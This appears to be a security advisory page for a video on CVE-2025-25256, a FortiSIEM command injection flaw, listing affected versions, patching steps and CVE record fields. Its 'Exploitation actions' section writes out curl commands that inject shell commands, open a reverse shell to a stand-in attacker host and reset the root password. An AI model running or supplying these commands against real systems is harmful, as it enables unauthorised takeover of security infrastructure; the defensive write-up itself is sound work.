FortiSIEM: OS command injection in Fortinet FortiSIEM (CVE-2025-25256) #shorts

Summary

Today’s episode covers CVE-2025-25256, a critical OS command injection flaw in Fortinet’s FortiSIEM platform. Published on August 12, 2025, and updated the next day, this vulnerability is already being exploited in the wild and has a public proof-of-concept. We’ll break down what’s at risk, which versions are affected, and what you need to do to protect your environment.

Product details

FortiSIEM is Fortinet’s security information and event management solution. Versions 5.4.0 through 7.3.1 are impacted: specifically, 5.4.0; 6.1.0 to 6.1.2; 6.2.0 to 6.2.1; 6.3.0 to 6.3.3; 6.4.0 to 6.4.4; 6.5.0 to 6.5.3; 6.6.0 to 6.6.5; 6.7.0 to 6.7.9; 7.0.0 to 7.0.3; 7.1.0 to 7.1.7; 7.2.0 to 7.2.5; and 7.3.0 to 7.3.1. Both on-premises and virtual deployments are vulnerable until patched.

Vulnerability type summary

This is an OS command injection vulnerability, tracked as CWE-78. An attacker can inject and execute arbitrary operating system commands by exploiting improper neutralization of special elements in CLI requests. Because it can be triggered without authentication, it poses a severe escalation-of-privilege and remote code execution risk.

Details of the vulnerability

An attacker crafts malicious CLI input that bypasses FortiSIEM’s input validation and injects shell commands. The vulnerability exists in the request handler for certain administrative endpoints. Once the payload is submitted, the server executes injected commands with root-level privileges. Public proof-of-concept exploit code has circulated, and Fortinet has confirmed active exploitation. Successful attacks can lead to full system compromise, data exfiltration, and pivoting into other segments of the network.

Conclusion

If you run FortiSIEM, treat this as an emergency. Apply Fortinet’s patches or upgrade to a non-vulnerable version immediately. If you cannot patch right away, restrict access to the FortiSIEM management interface, implement strict network segmentation, and monitor for unusual CLI activity. Stay tuned to Fortinet advisories for additional mitigation guidance and incident response recommendations.

Watch the full video on YouTube: CVE-2025-25256

Remediation and exploitation details

This chain involves the following actors

  • Unauthenticated Attacker: Malicious actor exploiting remote command injection
  • FortiSIEM Administrator: Maintains and secures the FortiSIEM deployment

This following systems are involved

  • Fortinet FortiSIEM (Collects, analyzes and correlates security events): Target of exploitation

Attack entry point

  • FortiSIEM Command-Line Interface Endpoint: HTTP endpoint accepting CLI commands without proper input validation

Remediation actions

FortiSIEM Administrator
Update FortiSIEM to a patched version (7.3.2 or later, 7.2.6 or later, etc.)
Fortinet FortiSIEM
FortiSIEM Administrator
Restrict access to the CLI endpoint to trusted management networks only
Fortinet FortiSIEM
FortiSIEM Administrator
Implement input validation and output encoding on all command parameters
Fortinet FortiSIEM

Exploitation actions

Service enumeration via HTTP requests

Unauthenticated Attacker
Probe FortiSIEM management interface over HTTPS to locate the CLI endpoint
Fortinet FortiSIEM
Examples:
  • curl -k https://<target>:8180/

OS command injection through unsanitized CLI parameter

Unauthenticated Attacker
Send a crafted POST request to the CLI endpoint embedding shell metacharacters in the command parameter
Fortinet FortiSIEM
Examples:
  • curl -k -X POST https://<target>:8180/cli -d 'command=show+status;id'

Output validation of injected commands

Unauthenticated Attacker
Observe command output in the HTTP response to confirm code execution
Fortinet FortiSIEM
Examples:
  • Response contains uid=0(root) gid=0(root) groups=0(root)

Reverse shell injection via OS command injection

Unauthenticated Attacker
Escalate to a remote shell by injecting redirection payloads (e.g. reverse shell)
Fortinet FortiSIEM
Examples:
  • curl -k -X POST https://<target>:8180/cli -d 'command=nc+attacker.com+4444+-e+/bin/bash'

Persistent code execution and privilege escalation

Unauthenticated Attacker
Move laterally or escalate privileges further by writing scheduled tasks or creating new accounts
Fortinet FortiSIEM
Examples:
  • curl -k -X POST https://<target>:8180/cli -d 'command=echo "root:password" | chpasswd'

Related Content

NOTE: The following related content has not been vetted and may be unsafe.

CVE database technical details

CVE ID
CVE-2025-25256
Description
An improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability [CWE-78] in Fortinet FortiSIEM version 7.3.0 through 7.3.1, 7.2.0 through 7.2.5, 7.1.0 through 7.1.7, 7.0.0 through 7.0.3 and before 6.7.9 allows an unauthenticated attacker to execute unauthorized code or commands via crafted CLI requests.
Provider
fortinet
CWE / problem types
Escalation of privilege
Affected Software Versions
Fortinet:FortiSIEM:[{'versionType': 'semver', 'version': '7.3.0', 'lessThanOrEqual': '7.3.1', 'status': 'affected'}, {'versionType': 'semver', 'version': '7.2.0', 'lessThanOrEqual': '7.2.5', 'status': 'affected'}, {'versionType': 'semver', 'version': '7.1.0', 'lessThanOrEqual': '7.1.7', 'status': 'affected'}, {'versionType': 'semver', 'version': '7.0.0', 'lessThanOrEqual': '7.0.3', 'status': 'affected'}, {'versionType': 'semver', 'version': '6.7.0', 'lessThanOrEqual': '6.7.9', 'status': 'affected'}, {'versionType': 'semver', 'version': '6.6.0', 'lessThanOrEqual': '6.6.5', 'status': 'affected'}, {'versionType': 'semver', 'version': '6.5.0', 'lessThanOrEqual': '6.5.3', 'status': 'affected'}, {'versionType': 'semver', 'version': '6.4.0', 'lessThanOrEqual': '6.4.4', 'status': 'affected'}, {'versionType': 'semver', 'version': '6.3.0', 'lessThanOrEqual': '6.3.3', 'status': 'affected'}, {'versionType': 'semver', 'version': '6.2.0', 'lessThanOrEqual': '6.2.1', 'status': 'affected'}, {'versionType': 'semver', 'version': '6.1.0', 'lessThanOrEqual': '6.1.2', 'status': 'affected'}, {'version': '5.4.0', 'status': 'affected'}]
Date Published
2025-08-12T18:59:14.863Z
Last Updated
2025-08-13T20:12:32.941Z